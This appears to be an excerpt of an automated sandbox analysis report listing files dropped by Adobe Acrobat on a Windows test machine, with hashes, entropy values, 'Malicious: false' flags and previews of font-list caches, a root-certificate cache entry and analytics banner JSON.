Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl1P0Nl/tfllXlE/HT8kl/zltNNX8RolJuRdxLlGB9lQRYwpDdt:kKVNl/eT8i/RNMa8RdWBwRd
MD5:	F7E57659C2E8C345314F4674E52B1AFF
SHA1:	04DD2D103BAB803F4D1E43E563CB9545DD1B7330
SHA-256:	ADECD883B7FD76EE40D74345A49B402FB082A2466FAF28F6983C6CB39C65ABC1
SHA-512:	4558CD53BDFA18A28A0DE5BCE8A2C226B421ADFDCDBD400A50FEB8E069D0C71C3CE8491FBE80C9C52465FFE13E21EF8EF2AAC9B585B76FF878F39C67F8DF2B30
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....vL..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1220

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1220

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37263583608213
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJM3g98kUwPeUkwRe9:YvXKXyWm3kcHjVGMbLUkee9
MD5:	96D321C9A113FACD49E9C425479FF00C
SHA1:	FE45B17A2B6F53BF4812AA85C7916C61944D41AB
SHA-256:	041E209253A5D181158EE496346D0B0405B0306B1429A94928CAEF693C4CECB2
SHA-512:	3C18BBE4E05D09A208DA4293F049F666D9329020ED1F7D3954F6F3428C8D2241AE82EBC9616757FBBAB2452E1D4E3E7CF05A798785A125DD81D988290BD27186
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.324370949068862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfBoTfXpnrPeUkwRe9:YvXKXyWm3kcHjVGWTfXcUkee9
MD5:	16F158040D76FFC2E5DBD7A2706949B7
SHA1:	C55EBA439CBFA4DD2EC89396F6FDEF6F77915FE0
SHA-256:	A937341FDAA79718D24431D8C90C4339BE9A5E80D15283453661BD05E1D251F2
SHA-512:	430827D4A3B3AE6C4B0DF7300BA931B7E849589959DFFB79F5581930D627A06B9951C1475C19097202211F324B8FEA6B781ACCE610875189535814DC23F0583D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303638742983531
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfBD2G6UpnrPeUkwRe9:YvXKXyWm3kcHjVGR22cUkee9
MD5:	D0B2EE9FC284948A7266E19A5B5A9B79
SHA1:	C732FDB844B04EA7E57BE68942DAEA10357ED6BB
SHA-256:	03DB6BA019086D1946CA5D8331E458E756BABD1F4CE79D18EF8B10A93A2E5435
SHA-512:	37E47D5463A495AEF431FD7D7442E0CB5FADA1849AB17B79B0379891A59AA8367C18C4A2E518DD527F821117322F0A920B66A3FD1A1AA1D97016F5D870142261
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.352983760860625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfPmwrPeUkwRe9:YvXKXyWm3kcHjVGH56Ukee9
MD5:	1A0C12566E73D762CF2B95672FC38B8B
SHA1:	8B06A95BEF7EC125707448EB8F717FCC4D4530FF
SHA-256:	29EC70938F49FC12FB35664CF5792F2F281C7C1A54C6A7D3CE2336ED938D827D
SHA-512:	8F986BF8D90551B1F9AD38C208C73E050EC0DF7217D348296A3CD50B308C6B29ABB54BA6E2C4E403FF58B334C67B0EB55BD7E43E09E755B126CF364A06C068B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690686812850616
Encrypted:	false
SSDEEP:	24:Yv6XaJHj6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSo:Yvzt+hgy6SAFv5Ah8cv/o
MD5:	9106A33BB54722F5ACADCB7F1D4B10B2
SHA1:	5184A6CA0F22AB1DE986ABBAA59A0E74E9846D43
SHA-256:	FC17A13ED7AC5C2672D3BF9F8623885FFD8692B3D808ED810CE5B17CE72A9A0C
SHA-512:	F43CC82E6B2678607F8579496B260BB619A382028A77D5606BFCC7A0A8D86354C54BFA1B096E219C6A29D8569634F1CD3691DC1FF11A4CA9FE2272E03C363911
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304005595787081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJf8dPeUkwRe9:YvXKXyWm3kcHjVGU8Ukee9
MD5:	3EF2224932CB14B27FDA12D175BB468A
SHA1:	CC7B75F9545DCF74E553155E4796FFCF0EC4A516
SHA-256:	8BB49B5FF6E3C3511B00B59AA181F83538742E994E2A7D28B522949F9D2CE39D
SHA-512:	61AF1F06463E97B89E151332DD7C4D85A53F1CC2FADDB2D8CE3C542FBF4A95C1D84C3B0EC01413F7DE610339122900E035FB071937F12B95C958491A2341FD8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30570344358725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfQ1rPeUkwRe9:YvXKXyWm3kcHjVGY16Ukee9
MD5:	CB765B46B27644C0145DED4405DAC6FD
SHA1:	02F9DC2871926A31339856AC6C3DDC7B04FDA1E0
SHA-256:	69DEDC213224F9C8AF6BD2E9C8C516F110CE4006B35BCA4FB33267A3FCE23B8E
SHA-512:	7CF83F3E0F883415D64772EA3E934F8290E8845B5DDFF5CAB338C5DECCDD269F3BDEA4437148CD19EF638115DB7A4510559E9501CDB7037D435C928762D8824F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.314995266437935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfFldPeUkwRe9:YvXKXyWm3kcHjVGz8Ukee9
MD5:	EA76A7EBEE11026660BA39C5AE504CE2
SHA1:	6CBD0181F2B6E33ECC2559C3D5ED11CCDEC69694
SHA-256:	55EAD29F496A095FE2C923B5C0DDB21A94115F824D2B8D4D729A71F7843B33D7
SHA-512:	038480DCCAF9BEEAC00076521C797729BC815890C926DCDD7DB3285479DF8D423C9370260FA4D6E1C77828F45A68FBA78255A534CA41DABC712A47A0955E25DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.330432688620527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfzdPeUkwRe9:YvXKXyWm3kcHjVGb8Ukee9
MD5:	21740B8784A18320F65C5248ADEDC4C5
SHA1:	E3EBEF32A922FBF0823D0AC74374CA1C892FCE69
SHA-256:	759936CF821EEA2BF3E42523C080EB30B274FD070024A8CF5528162EBCC4DA2A
SHA-512:	620D977A87E8D319B2D13520CFA5E7B2D7BEC0C5E675DA0D758AE6B039F6A2323A1328536C7CD8C31500E9CC36CD28AD1BB278158687BAAE424EC7B6BFEDDAD1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310700215987218
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfYdPeUkwRe9:YvXKXyWm3kcHjVGg8Ukee9
MD5:	9DDA124343720F3BD3278D257CA37161
SHA1:	EA37CB99FE03575972A3959836ED5DF2234B8AE5
SHA-256:	48F95DC6EE2DB4710D749EF172481BF0AFD63939F87039BF7FC8D49C0D5D6D5E
SHA-512:	CCB5D263276CDAD802B3C56404CE484BC0EB86B8CF3CA68BAC6E348C9E76CD9D31A528CC7290282BC2D35CECF243D56E9E5AA0234A0AC6C1E6D23299940FB7EE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297520326514833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJf+dPeUkwRe9:YvXKXyWm3kcHjVG28Ukee9
MD5:	E4BD9B0557A17725D80D38E7FA87C166
SHA1:	F87F56DD89E528BC08113A4221AAF9BFEAC167D3
SHA-256:	1402DD46A544322CFA3CE4FD3EC6D166B0D9BA97C94185D28B3EE9AFCF0EDEED
SHA-512:	E21FEDD8B012AC9364D2E0DD6E423FE1438BE296B805BAD21CA3A2611F7615AD05CF1062761FDB5847B5C17730ADAC01B687DDF8A3F5F55AB65CAFE35F82DACA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294173772657732
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJfbPtdPeUkwRe9:YvXKXyWm3kcHjVGDV8Ukee9
MD5:	46AB6850EB51B028000EA18522EEC315
SHA1:	F340FF1E618A7CD0A30F8CE541BFC436A5378C6B
SHA-256:	D4AFEBDE8CAB5CBB758028F213183B70EBF34AA1EEA3FBB9B1B005C7EB4194F2
SHA-512:	FB90B73C61FCDBA18EB5D1F35D3942D5F5815DAE3C9711F924B6E4F7D494946D0CCAFA46C1EE5997FCA9B3F24A0238E173320F8D35C0C0170915B9895F49FDEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b65863d1-9651-4b29-9588-c9fefbee9387","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736757698230,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.297053449849361
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyGJmLjknZiQ0YujjeoAvJf21rPeUkwRe9:YvXKXyWm3kcHjVG+16Ukee9
MD5:	9E6385B1DDA506681FFEC83BCA792AE1
SHA1:	FBB18BEEA3330B15B42E6ED9A556E476B770EA8D
SHA-256:	C2790AD0811E8B85C9389FEF9C9E27678358CDD1C8A93A4D5B380F0F5CED3506
SHA-512:	5035FCA922F3C87941D3A1414E584AD1E142F9AEE25AA18488CC54F7EABFFADEA2B38ADC1964A36A84D23F2F95E57360971ED2FB7EE4257ED5565288F8F0FAF4
Malicious:	false
